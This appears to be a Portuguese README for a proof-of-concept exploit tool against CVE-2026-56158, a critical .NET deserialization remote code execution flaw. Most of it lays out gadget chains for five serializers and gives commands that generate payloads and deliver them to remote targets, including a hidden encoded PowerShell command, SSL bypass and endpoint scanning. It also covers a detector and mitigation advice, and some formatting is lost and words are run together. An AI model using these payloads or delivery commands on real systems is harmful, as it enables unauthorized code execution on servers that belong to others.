Gera cinco formatos de payload de desserialização .NET para CVE-2026-56158, entrega-os por endpoints HTTP/SOAP/JSON, inclui servidor mock, scanner e saída de relatório JSON.
Crítico (CVSS 9.8) — Desserialização de Dados Não Confiáveis (CWE-502) no Microsoft .NET Framework e no Runtime .NET Corrigido: 14 de julho de 2026 | Atribuído a: Positive Technologies (PT-2026-60174)
CVE-2026-56158 é uma vulnerabilidade crítica de execução remota de código no Microsoft .NET Framework e no runtime do .NET. A falha existe na desserialização insegura de dados não confiáveis (CWE-502) — quando um aplicativo .NET usa serializadores legados (BinaryFormatter, , , ) ou Json.NET com , um atacante remoto não autenticado pode enviar um payload serializado especialmente criado que aciona a execução arbitrária de código durante a desserialização.
NetDataContractSerializerSoapFormatterObjectStateFormatterTypeNameHandling.All/AutoA vulnerabilidade possui pontuação base CVSS 3.1 de 9.8 Crítico com o vetor AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, ou seja:
A Microsoft lançou atualizações de segurança em 14 de julho de 2026 como parte do ciclo mensal do Patch Tuesday.
| Campo | Valor |
|---|---|
| CVE ID | CVE-2026-56158 |
| Título | Vulnerabilidade de Execução Remota de Código no .NET Framework |
| CVSS 3.1 | 9.8 Crítico (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CVSS 2.0 | 7.5 Alto (AV:N/AC:L/Au:N/C:P/I:P/A:P) |
| CWE | CWE-502 (Desserialização de Dados Não Confiáveis) |
| Publicada | 14 de julho de 2026 |
| Corrigida | 14 de julho de 2026 |
| Descobridor | Positive Technologies (PT-2026-60174) |
| EPSS | Ainda sem pontuação |
| CISA KEV | Não listada |
Os serializadores legados do runtime .NET reconstroem tipos de objetos arbitrários a partir de fluxos serializados sem validar o tipo ou o conteúdo. Quando um atacante controla a entrada serializada, ele pode direcionar o desserializador para instanciar tipos inesperados cujos construtores, callbacks ou setters de propriedades executam código arbitrário — um clássico ataque de cadeia de gadgets por desserialização.
A vulnerabilidade afeta múltiplos mecanismos de serialização:
TypeConfuseDelegate delega para Process.StartProcessStartInfo incorporado no corpo SOAPProcess.Start via campo ViewState$type quando TypeNameHandling.All/Auto está habilitado; o gadget ObjectDataProvider chama Process.Start| Produto | Intervalo Vulnerável | Versão Corrigida | Artigo da KB |
|---|---|---|---|
| .NET 8.0 | 8.0.0 – 8.0.28 | 8.0.29 | KB5100998 |
| .NET 9.0 | 9.0.0 – 9.0.17 | 9.0.18 | KB5100998 |
| .NET 10.0 | 10.0.0 – 10.0.9 | 10.0.10 | KB5101001 |
| .NET Framework 3.5 | Todas as versões anteriores ao patch | Corrigida | KB5100985 |
| .NET Framework 4.6.2–4.7.2 | Todas as versões anteriores ao patch | Corrigida | KB5100991 |
| .NET Framework 4.8 | Todas as versões anteriores ao patch | Corrigida | KB5101011 |
| .NET Framework 4.8.1 | Todas as versões anteriores ao patch | Corrigida | KB5101002 |
| Visual Studio 2022 (17.12) | Antes do patch | 17.12.x | — |
| Visual Studio 2022 (17.14) | Antes do patch | 17.14.x | — |
| Visual Studio 2026 (18.7) | Antes do patch | 18.7.x | — |
Pacotes Alpine Linux:
dotnet8-runtime < 8.0.29-r0dotnet9-runtime < 9.0.18-r0dotnet10-runtime < 10.0.10-r0Este exploit PoC gera e entrega payloads por meio de 5 formatos diferentes de ataque por desserialização:
Serialized Stream → BinaryFormatter.Deserialize() → TypeConfuseDelegate
→ Process.Start("cmd.exe", "/c calc.exe") → RCE
application/octet-streamActivitySurrogateSelector+ObjectSurrogate → TypeConfuseDelegate → Process.StartXML with type info → NetDataContractSerializer.ReadObject()
→ ProcessStartInfo instantiation → Process.Start → RCE
application/octet-stream ou text/xmlSOAP envelope → SoapFormatter.Deserialize()
→ ProcessStartInfo in SOAP body → Process.Start → RCE
text/xmlViewState binary → ObjectStateFormatter.Deserialize()
→ Process.Start via ViewState field → RCE
application/octet-stream__VIEWSTATE de HTTP POSTJSON with $type → JsonConvert.DeserializeObject<T>(json, TypeNameHandling.All)
→ ObjectDataProvider.MethodName = "Start" → Process.Start → RCE
$typeapplication/jsonTypeNameHandling.All ou Auto┌─────────────────────────────────────────────────────────────────────┐
│ exploit.py │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────────┐ ┌───────────────┐ ┌───────────────────────┐ │
│ │ PayloadGen │ │ PayloadDeliv │ │ VulnerabilityScanner │ │
│ │ │ │ │ │ │ │
│ │ • BinaryFmt │ │ • HTTP POST │ │ • HTTP header check │ │
│ │ • NetData │──▶│ • SOAP/WCF │──▶│ • Endpoint discovery │ │
│ │ • SoapFmt │ │ • JSON API │ │ • ViewState analysis │ │
│ │ • ObjectState│ │ • File save │ │ • Version detection │ │
│ │ • Json.NET │ │ │ │ │ │
│ └──────────────┘ └───────────────┘ └───────────────────────┘ │
│ │ │ │ │
│ └───────────────────┼──────────────────────┘ │
│ ▼ │
│ ┌──────────────┐ ┌──────────────────────────────────────────┐ │
│ │ PayloadList │ │ Report Generator (JSON) │ │
│ │ (Mock .NET) │ │ • CVE metadata, CVSS, CWE │ │
│ │ │ │ • Payload hashes (SHA-256) │ │
│ │ Simulates │ │ • Delivery results │ │
│ │ vulnerable │ │ • RCE confirmation │ │
│ │ deserialization│ │ • References │ │
│ └──────────────┘ └──────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────┘
Attacker ────POST /api/deserialize──────▶ Target (.NET < 8.0.29)
Content-Type: application/octet-stream
Body: [BinaryFormatter payload]
│
▼
BinaryFormatter.Deserialize()
(no type validation)
│
▼
TypeConfuseDelegate invoked
│
▼
Process.Start("cmd.exe", "/c calc.exe")
│
▼
calc.exe spawns → RCE CONFIRMED
graph TD
A[Attacker] --> B[PayloadGenerator]
B --> B1[BinaryFormatter]
B --> B2[NetDataContractSerializer]
B --> B3[SoapFormatter]
B --> B4[ObjectStateFormatter]
B --> B5[Json.NET]
B1 --> C1[TypeConfuseDelegate Gadget]
B2 --> C2[ProcessStartInfo XML]
B3 --> C3[SOAP ProcessStartInfo]
B4 --> C4[ViewState Process.Start]
B5 --> C5[ObjectDataProvider Gadget]
C1 --> D[PayloadDelivery]
C2 --> D
C3 --> D
C4 --> D
C5 --> D
D --> E1[HTTP POST]
D --> E2[SOAP Endpoint]
D --> E3[JSON API]
D --> E4[File]
E1 --> F[.NET Runtime < 8.0.29]
E2 --> F
E3 --> F
E4 --> F
F --> G[Unsafe Deserialization - No Type Validation]
G --> H[Gadget Chain Executes]
H --> I[Process.Start - RCE]
I --> J[Arbitrary Code Execution]
subgraph "Vulnerable Components"
F
G
end
subgraph "Exploit Chain"
H
I
J
endCVE-2026-56158/
├── exploit.py # Main exploit — payload generation, delivery, scanning, mock listener
├── detect.py # Detection & hardening checker
├── test_exploit.py # Unit tests (74 tests)
├── e2e_test.py # End-to-end validation tests (37 tests)
├── README.md # This file — GitHub description page
├── USAGE.md # Detailed step-by-step usage guide
├── DIAGRAM.md # Architecture & attack flow diagrams
├── package.json # Project metadata
├── LICENSE # MIT License
└── .gitignore # Git ignore rules
git clone [email protected]:sam00/CVE-2026-56158-.NET-Framework-RCE-PoC-Exploit.git
cd CVE-2026-56158
Gere todos os 5 formatos de payload com o comando padrão (calc.exe):
python3 exploit.py
Saída:
[INFO] Generating deserialization payloads...
[SUCCESS] binaryformatter: 395 bytes
[SUCCESS] netdatacontract: 437 bytes
[SUCCESS] soap: 716 bytes
[SUCCESS] objectstate: 153 bytes
[SUCCESS] jsonnet: 695 bytes
Gere com um comando personalizado:
python3 exploit.py -c "powershell.exe -nop -w hidden -enc <base64>"
Inicie o servidor mock vulnerável .NET embutido e entregue todos os payloads:
python3 exploit.py --listen
Isso irá:
Saída esperada:
[VULN] RCE CONFIRMED — Payload deserialized and command execution triggered
Porta personalizada:
python3 exploit.py --listen --port 8080
Salve um formato específico de payload em um arquivo para entrega manual:
# Save BinaryFormatter payload
python3 exploit.py --save payload.bin -f binaryformatter -c "calc.exe"
# Save SOAP payload
python3 exploit.py --save payload.soap -f soap -c "whoami"
# Save Json.NET payload
python3 exploit.py --save payload.json -f jsonnet -c "id"
Entregue todos os payloads para um alvo .NET remoto:
python3 exploit.py -u http://target:8080 -c "calc.exe"
Com bypass do certificado SSL:
python3 exploit.py -u https://target:8443 -c "calc.exe" --insecure
Escanee um alvo em busca da versão do .NET, endpoints de desserialização e problemas de ViewState:
python3 exploit.py -u http://target:8080 --scan
Isso verifica:
X-AspNet-Version, X-Powered-By)/api/deserialize, /Service.svc, etc.)Gere um relatório JSON com todos os detalhes da exploração:
python3 exploit.py --listen -o report.json
# or
python3 exploit.py -u http://target:8080 -o report.json
O relatório inclui:
python3 test_exploit.py
Os testes cobrem:
python3 e2e_test.py
Os testes cobrem:
Unit Tests: 74 passed, 0 failed
E2E Tests: 37 passed, 0 failed
Total: 111 tests passed
Execute o verificador de detecção para identificar instalações .NET vulneráveis:
python3 detect.py
Escanee o código-fonte em busca de padrões de desserialização inseguros:
python3 detect.py /path/to/source/code
O detector verifica:
dotnet --list-runtimes)BinaryFormatter.Deserialize, NetDataContractSerializer.ReadObject, SoapFormatter.Deserialize, ObjectStateFormatter.Deserialize, TypeNameHandling.All/Auto, LosFormatter.DeserializeBinaryFormatter por System.Text.Json ou DataContractSerializer com vinculação estrita de tiposSerializationBinder quando serializadores legados forem necessáriosSwitch.System.Runtime.Serialization.UseLegacyBinaryFormatter=falseViewStateMac e ViewStateEncryptionTypeNameHandling.All/Auto; use TypeNameHandling.NoneSoapFormatter e NetDataContractSerializer para entradas não confiáveisdotnet.exe, devenv.exe ou processos host .NET personalizadosEste exploit de prova de conceito é fornecido apenas para fins educacionais e de testes de segurança autorizados. Use esta ferramenta somente contra sistemas que você possua ou para os quais tenha autorização explícita por escrito para testar. O uso não autorizado contra sistemas que você não possui é ilegal e pode violar leis de fraude e abuso de computadores.
Os autores e colaboradores não são responsáveis por qualquer uso indevido ou dano causado por este software.
Licença MIT — consulte o arquivo LICENSE para obter detalhes.